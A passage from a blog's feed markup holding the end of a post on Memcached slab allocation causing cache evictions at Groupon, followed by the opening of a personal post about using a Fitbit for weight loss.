margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: 'Courier New'; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;gt;&amp;gt; &amp;nbsp;&amp;nbsp;puts &quot;#{i} seconds&quot;&lt;/span&gt;&lt;/div&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: 'Courier New'; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;gt;&amp;gt; &amp;nbsp;&amp;nbsp;sleep 1&lt;/span&gt;&lt;/div&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: 'Courier New'; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;gt;&amp;gt; end&lt;/span&gt;&lt;/div&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: 'Courier New'; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;0 seconds&lt;/span&gt;&lt;/div&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: 'Courier New'; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;1 seconds&lt;/span&gt;&lt;/div&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: 'Courier New'; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;...&lt;/span&gt;&lt;/div&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: 'Courier New'; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;12 seconds&lt;/span&gt;&lt;/div&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: 'Courier New'; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;13 seconds&lt;/span&gt;&lt;/div&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: 'Courier New'; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;=&amp;gt; nil&lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;The object we were storing after parsing the JSON and marshalling was roughly 28K. When we decreased the size of the object to 25K the problem disappeared. When we increased the size to 33K the problem disappeared. The quick and dirty solution therefore was to add 5K of junk data to the service response which solved our problem for the moment. But this exposed a misunderstanding on how Memcached was working behind the scenes and a problem with how we were monitoring our caching infrastructure.&lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;I knew our clients used hashed key names to determine which Memcached server to store the value in. But to me Memcached was just a big non-persistent key-value store with expirations. For me and most of my coworkers we treated Memcached like the following figure.&lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;[Figure 1: Memcached Naive Understanding ]&lt;/span&gt;&lt;img height=&quot;171px;&quot; src=&quot;https://lh6.googleusercontent.com/AvrBoKhNh7a6Nvu5CXlRoQGrSwe0Lr56NcHTgt5jl9TesM08W89MeGrH0hmS_d3kuuoP6kPflN0zLp_oCDEys-TwoZbPzxkhKKPFCzBpO8uVXOCDCfp6g0vMfw&quot; style=&quot;border: 0px solid transparent;&quot; width=&quot;568px;&quot; /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;How Memcached actually works is more complex than that, and once we understood the mechanics underneath it quickly highlighted our problem. There are three key components that one needs to understand in order to grasp the issue:&lt;/span&gt;&lt;/div&gt;&lt;ul style=&quot;margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;li dir=&quot;ltr&quot; style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Pages: By default 1 page == 1Mb of Memcached memory. Pages are available for allocation to slabs but once they have been allocated to a slab they can't be allocated to another slab later.&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li dir=&quot;ltr&quot; style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Slabs: Each page is assigned to a slab class. A slab class has a range of data-sizes that it's responsible for storing. For example if I have some data that's 28K in size it would be stored within a slab that handles data sizes between 25K and 33K. (Exact Sizes Dependent on Configuration)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li dir=&quot;ltr&quot; style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Chunks: Each individual value is stored within a single chunk. A single slab is made up of these chunks. If 28K of data is stored in a chunk within the slab that handles data up to 33K in size, the remaining 5K is wasted.&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;In the figure below we show a Memcached host configured to run with 8 Mb of memory, and of which 2 Mb has already been allocated.&lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;[ Figure 2: Memcached Host and Page Allocation ]&lt;/span&gt;&lt;img height=&quot;164px;&quot; src=&quot;https://lh6.googleusercontent.com/UN5FmLPBfAfcljsu9NXYQv2owtHjCcPM8t0xhrR_Y00QohPISnm4Yya2c8B7fz1TmpiKgzc4o53Y7ycYPdFITnN4eMQj9V0Ij08W7UNBLw6NmxTSF4QXHkatwg&quot; style=&quot;border: 0px solid transparent;&quot; width=&quot;556px;&quot; /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;The figure below represents a single page which has been assigned to a slab. Within it are allocated chunks which each contain some data.&lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;[ Figure 3: A Single Allocated Page with Allocated Chunks ]&lt;/span&gt;&lt;img height=&quot;436px;&quot; src=&quot;https://lh3.googleusercontent.com/aIycDFnybX9jN37TYPgxQs7S8xivEigqm5ouEKWCjf2slZ-nJgLya9Xz0HFUPd22GozTbkI2rzQBGlpOefqrW9EebTx16q3aR6Qs320vu6ii6dFU5EKh7xoC0g&quot; style=&quot;border: 0px solid transparent;&quot; width=&quot;440px;&quot; /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;The figure below represents a single chunk.&lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;[ Figure 4: A Single Chunk of Data ]&lt;/span&gt;&lt;/div&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;img height=&quot;435px;&quot; src=&quot;https://lh6.googleusercontent.com/uVh2Pi2S38jtLlkGoCwYFoQBm-78wsp5QtJ04P5QU4sUiewTYa3J7Wez65v_c9dM1LTrPkppMgkbJOZ4d4ioeDN-OoGMwKT0xgJmulbdJq-8XnbB0_7kApOusQ&quot; style=&quot;border: 0px solid transparent;&quot; width=&quot;312px;&quot; /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;In our case, all the pages had been allocated to slabs in our Memcached instance. However since pages are never reallocated we effectively had a cache where we had plenty of free space for values of some types but not others resulting in evictions. While an expiration is expected and often a useful tool for keeping data fresh. Evictions are when data is removed from the data store before it has expired and is unexpected. &lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;When our app tried to store a 28K object, Memcached found the least recently used object in that slab, and removed it from the store. With sufficient traffic of a particular size of data we started seeing rapid evictions. Because our data was repeatedly being evicted the service responsible for generating that data was getting slammed with requests and couldn’t keep up with the heavier load. &lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;While we had already mitigated our initial problem this highlighted a much bigger issue, thousands of evictions per minute. Resulting in constant cache misses and slower performance. We restarted the Memcached instances in this pool late at night which allowed the pages to be reallocated. Here's a graph over time illustrating the drop in response time for a particular API call. As you can see it was pretty substantial.&lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;[ Figure 5: API Response Time ]&lt;/span&gt;&lt;img height=&quot;339px;&quot; src=&quot;https://lh3.googleusercontent.com/YP6PgnUmtBbq4zbJjeqmULkBw8trm1bD9CRT60BL_9qbs2HHM58ylc_BYU96kuSys6FKCq6hmj5mSt6blX3TojA89jABFwk4EXUoK-7b7BSrek-Qy_p7F-NKGQ&quot; style=&quot;border: 0px solid transparent;&quot; width=&quot;624px;&quot; /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Long term we're looking at &lt;a href=&quot;https://github.com/twitter/twemcache&quot;&gt;Twemcache&lt;/a&gt;, a fork of Memcached, which allows more fine-grained eviction control which should keep our page allocation in balance going forward. For now we're keeping a much closer eye on our eviction rate and alerting on anything over 0.&lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span id=&quot;docs-internal-guid-7595fd20-b635-ccfe-5688-fc6475b605cd&quot;&gt;&lt;span style=&quot;font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Philip Corliss is a Cheese Enthusiast and wrote this blog post while a Software Developer at Groupon. He’s no longer working for Groupon but still loves to talk about caching and scaling problems. For cheese recommendations, adorable corgi photos, and questions please email &lt;/span&gt;&lt;a href=&quot;mailto:pcorliss@gmail.com&quot; style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;color: #1155cc; font-family: Arial; font-size: 15px; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;pcorliss@gmail.com&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; or tweet &lt;/span&gt;&lt;a href=&quot;https://twitter.com/pcorliss&quot; style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;color: #1155cc; font-family: Arial; font-size: 15px; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;@pcorliss&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Fitbit Data and Weightloss</title>
   <link href="https://blog.50projects.com/2014/01/fitbit-data-and-weightloss.html"/>
   <updated>2014-01-27T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2014/01/fitbit-data-and-weightloss</id>
   <content type="html">&lt;div class='post'&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;I was always a fat kid, later on I was a fat teenager, and no real surprise I was a fat adult. I’ve always struggled with food, exercise, and my appearance. Food was a comfort, I used it to de-stress and I ate when I was bored. Exercise was to be avoided because I sweat excessively. I’ve dieted before, and gone on short exercise stints, but nothing that lasted more than a few months.&lt;/span&gt;&lt;/div&gt;&lt;b id=&quot;docs-internal-guid-45e62889-b678-aa82-b021-d787dbb6213e&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;About a year ago I got a bit more serious, I started a regular appointment with a personal trainer. She taught me how to lift weights, pace my workouts, and got me on a good track such that I could exercise on my own. The foundation was there, I had lost 15 pounds from 240 lbs, and I had developed some core strength. I didn’t keep it up though.&lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;In early May I pre-ordered the &lt;/span&gt;&lt;a href=&quot;http://www.fitbit.com/flex&quot; style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Fitbit Flex&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;. Some friends of mine had earlier versions already but I figured it might be worth it. I was worried though, I have a long history of gadget based exercise incentives. WiiFit, Pull up Bars, &lt;/span&gt;&lt;a href=&quot;http://hundredpushups.com/&quot; style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Hundred Push Ups&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;, etc…&lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;After the Fitbit arrived, I strapped it on and really got into the distance based goal approach. Movement around the office plus my walk to and from work usually netted me 4 miles but I needed to do supplementary exercise in order to get that last mile. Because the daily goal was there I started spending a lot more time in the gym. Once or twice a week suddenly jumped up to 5-6 days a week.&lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;My weekly plan consisted of 2-3 days of weight-lifting with a 10 minute warmup on the treadmill. Then rest days where I would do a intervals, or treadmill hill climbs. I went from only being able to run a 10 minute mile to a 7:20 minute mile. I started running for longer distances on the treadmill, at first 2 miles, then 3, 5, and in the last three months I’ve been running &lt;/span&gt;&lt;a href=&quot;http://www.strava.com/activities/108035351&quot; style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline; white-space: 